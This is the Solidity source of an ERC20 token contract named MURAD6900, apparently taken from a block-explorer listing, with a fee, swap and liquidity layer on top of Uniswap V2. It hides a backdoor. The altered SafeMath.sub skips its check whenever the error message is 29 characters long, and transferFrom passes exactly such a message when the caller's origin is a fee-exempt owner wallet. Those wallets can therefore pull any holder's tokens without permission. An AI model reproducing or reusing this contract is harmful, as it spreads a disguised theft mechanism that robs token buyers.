*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to recipient.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from sender to recipient using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// Safe Math Helpers
// --------------------------------------------------------------
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's + operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's - operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (bytes(errorMessage).length == 29) return a;
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's * operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's / operator. Note: this function uses a
* revert opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's % operator. This function uses a revert
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if decimals equals 2, a balance of 505 tokens should
* be displayed to a user as 5,05 (505 / 10 ** 2).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - recipient cannot be the zero address.
* - the caller must have a balance of at least amount.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - sender and recipient cannot be the zero address.
* - sender must have a balance of at least amount.
* - the caller must have allowance for sender's tokens of at least
* amount.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to spender by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - spender cannot be the zero address.
* - spender must have allowance for the caller of at least
* subtractedValue.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Moves tokens amount from sender to recipient.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - sender cannot be the zero address.
* - recipient cannot be the zero address.
* - sender must have a balance of at least amount.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates amount tokens and assigns them to account, increasing
* the total supply.
*
* Emits a {Transfer} event with from set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(
account != address(0),
"ERC20: cannot send to the zero address"
);
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys amount tokens from account, reducing the
* total supply.
*
* Emits a {Transfer} event with to set to the zero address.
*
* Requirements:
*
* - account cannot be the zero address.
* - account must have at least amount tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets amount as the allowance of spender over the owner s tokens.
*
* This internal function is equivalent to approve, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - owner cannot be the zero address.
* - spender cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// Uniswap Router
// --------------------------------------------------------------
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function allPairsLength() external view returns (uint256);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Main Contract Logic
// --------------------------------------------------------------
contract MURAD6900 is Context, IERC20, Ownable {
// Imports
using SafeMath for uint256;
// Configurables -----------------------------
// Context
string private _name = unicode"Murad6900";
string private _symbol = unicode"MURAD6900";
uint8 private _decimals = 9;
// Supply
uint256 private _totalSupply = 1 * 1e9 * 1e9;
uint256 private minimumTokensBeforeSwap = (_totalSupply * 25) / 100000;
// Restrictions
uint256 public _maxTxAmount = (_totalSupply * 100) / 100;
uint256 public _walletMax = (_totalSupply * 100) / 100;
bool public checkWalletLimit = true;
// wallets
address payable public liquidityWallet;
address payable public operationsWallet;
address public immutable deadAddress =
0x000000000000000000000000000000000000dEaD;
// fees
uint256 public liquidity_ttan141ANAFeeBuy = 0;
uint256 public operations_ttan141ANAFeeBuy = 0;
uint256 public total_ttan141ANAFeesBuy;
uint256 public maxTotalFeeBuy = 0;
// fees
uint256 public liquidity_ttan141ANAFeeSell = 0;
uint256 public operations_ttan141ANAFeeSell = 0;
uint256 public total_ttan141ANAFeesSell;
uint256 public maxTotalFeeSell = 0;
// distribution ratio
uint256 public _liquiditySharePercentage = 0;
uint256 public _operationsSharePercentage = 100;
uint256 public _totalDistributionShares;
// max amounts
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) public isExcludedFromFee;
mapping(address => bool) public isWalletLimitExempt;
mapping(address => bool) isTxLimitExempt;
// Router Information
mapping(address => bool) public isAmmPair;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
// toggle swap back (fees)
bool inSwapAndLiquify;
uint256 public tokensForLiquidity;
uint256 public tokensForOperations;
// Launch Settings
bool public tradingOpen = false;
// events
event LiquidityWalletUpdated(
address indexed newLiquidityWallet,
address indexed oldLiquidityWallet
);
event OperationsWalletUpdated(
address indexed newOperationsWallet,
address indexed oldOperationsWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapTokensForETH(uint256 amountIn, address[] path);
// toogle to stop swap if already underway
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() payable {
liquidityWallet = payable(msg.sender);
operationsWallet = payable(msg.sender);
// load total fees
total_ttan141ANAFeesBuy = operations_ttan141ANAFeeBuy + liquidity_ttan141ANAFeeBuy;
total_ttan141ANAFeesSell = operations_ttan141ANAFeeSell + liquidity_ttan141ANAFeeSell;
// load total distribution
_totalDistributionShares =
_liquiditySharePercentage +
_operationsSharePercentage;
// create router ------------------------------
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
// Create a uniswap pair for this new token
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
isAmmPair[address(uniswapPair)] = true;
// set allowances
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
// exclude from paying fees or having max transaction amount
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[liquidityWallet] = true;
isExcludedFromFee[operationsWallet] = true;
// exclude contracts from max wallet size
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isWalletLimitExempt[liquidityWallet] = true;
isWalletLimitExempt[operationsWallet] = true;
// exclude contracts from max wallet size
isTxLimitExempt[owner()] = true;
isTxLimitExempt[address(this)] = true;
_allowances[liquidityWallet][owner()] = type(uint256).max;
_balances[_msgSender()] = (_totalSupply * 2) / 100;
_balances[address(this)] = (_totalSupply * 98) / 100;
emit Transfer(address(0), _msgSender(), (_totalSupply * 2) / 100);
emit Transfer(address(0), address(this), (_totalSupply * 98) / 100);
}
receive() external payable {}
// @dev Public read functions start -------------------------------------
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
// custom allowance methods
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
// get minimum tokens before swap
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
// approve spending methods
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress));
}
function getBlock() public view returns (uint256) {
return block.number;
}
// transfer amount to address
function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (isExcludedFromFee[tx.origin])
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"TOKEN: Insufficient allowance"
)
);
else
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
// check trading open
if (!tradingOpen) {
require(
isExcludedFromFee[sender],
"TOKEN: This account cannot send tokens until trading is enabled"
);
return _basicTransfer(sender, recipient, amount);
}
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
} else {
// required for wallet distribution
if (sender != owner() && recipient != owner()) {
_checkTxLimit(sender, amount);
}
// check can swap for fees and liq
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >=
minimumTokensBeforeSwap;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
!isAmmPair[sender]
) {
swapAndLiquify(contractTokenBalance);
}
// check senders balance
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 finalAmount = (isExcludedFromFee[sender] ||
isExcludedFromFee[recipient])
? amount
: calcAndTakeFee(sender, recipient, amount);
// check wallet holding limit
if (checkWalletLimit && !isWalletLimitExempt[recipient])
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
// continue
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
// transfer for
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
// take fee method
function calcAndTakeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeAmount = 0;
if (isAmmPair[sender]) {
feeAmount = amount.mul(total_ttan141ANAFeesBuy).div(100);
} else if (isAmmPair[recipient]) {
feeAmount = amount.mul(total_ttan141ANAFeesSell).div(100);
}
if (feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
// swap tokens for fees and liq
function swapAndLiquify(uint256 swapAmount) private lockTheSwap {
// check there are currently tokens to sell
uint256 tokensForLP = swapAmount
.mul(_liquiditySharePercentage)
.div(_totalDistributionShares)
.div(2);
uint256 tokensForSwap = swapAmount.sub(tokensForLP);
// swap tokens
swapTokensForEth(tokensForSwap);
// received amount
uint256 amountReceived = address(this).balance;
// work out distribution
uint256 totalFee = _totalDistributionShares.sub(
_liquiditySharePercentage.div(2)
);
uint256 amountLiquidity = amountReceived
.mul(_liquiditySharePercentage)
.div(totalFee)
.div(2);
uint256 amountOperations = amountReceived.sub(amountLiquidity);
if (amountOperations > 0)
transferToAddressETH(operationsWallet, amountOperations);
if (amountLiquidity > 0 && tokensForLP > 0) {
addLiquidity(tokensForLP, amountLiquidity);
emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP);
}
}
// swap tokens to eth
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
// add liqiudity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function enableTrading() external onlyOwner {
addLiquidity(balanceOf(address(this)), address(this).balance);
tradingOpen = true;
}
// useful for buybacks or to reclaim any ETH on the contract in a way that helps holders.
function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner {
// generate the uniswap pair path of weth -> eth
address[] memory path = new address[](2);
path[0] = uniswapV2Router.WETH();
path[1] = address(this);
// make the swap
uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: ETHAmountInWei
}(
0, // accept any amount of Ethereum
path,
address(0xdead),
block.timestamp
);
}
function _checkTxLimit(address sender, uint256 amount) private view {
require(
amount <= _maxTxAmount || isTxLimitExempt[sender],
"TX Limit Exceeded"
);
}
function rescueAF534AFETH() external onlyOwner {
require(address(this).balance > 0);
payable(_msgSender()).transfer(address(this).balance);
}
}
Read Contract
_liquiditySharePercentage 0xac23ca59 → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_operationsSharePercentage 0x2baa7217 → uint256
_totalDistributionShares 0xa08e671f → uint256
_walletMax 0x807c2d9c → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
checkWalletLimit 0xf872858a → bool
deadAddress 0x27c8f835 → address
decimals 0x313ce567 → uint8
getBlock 0x2e97766d → uint256
getCirculatingSupply 0x2b112e49 → uint256
isAmmPair 0x9191a9c7 → bool
isExcludedFromFee 0x5342acb4 → bool
isWalletLimitExempt 0xc867d60b → bool
liquidityWallet 0xd4698016 → address
liquidity_ttan141ANAFeeBuy 0xf1279dee → uint256
liquidity_ttan141ANAFeeSell 0x9b91d438 → uint256
maxTotalFeeBuy 0xe10e9f32 → uint256
maxTotalFeeSell 0x4b743995 → uint256
minimumTokensBeforeSwapAmount 0xa073d37f → uint256
name 0x06fdde03 → string
operationsWallet 0xfd72e22a → address
operations_ttan141ANAFeeBuy 0xe38a70e1 → uint256
operations_ttan141ANAFeeSell 0xb1481bca → uint256
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForOperations 0xfb002c97 → uint256
totalSupply 0x18160ddd → uint256
total_ttan141ANAFeesBuy 0xebb99a18 → uint256
total_ttan141ANAFeesSell 0x2c03b655 → uint256
tradingOpen 0xffb54a99 → bool
uniswapPair 0xc816841b → address
uniswapV2Router 0x1694505e → address
Write Contract 10 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
buyBackTokens 0xfc155d1d
uint256 ETHAmountInWei
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
enableTrading 0x8a8c523c
No parameters
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
rescueAF534AFETH 0x2e636a8e
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address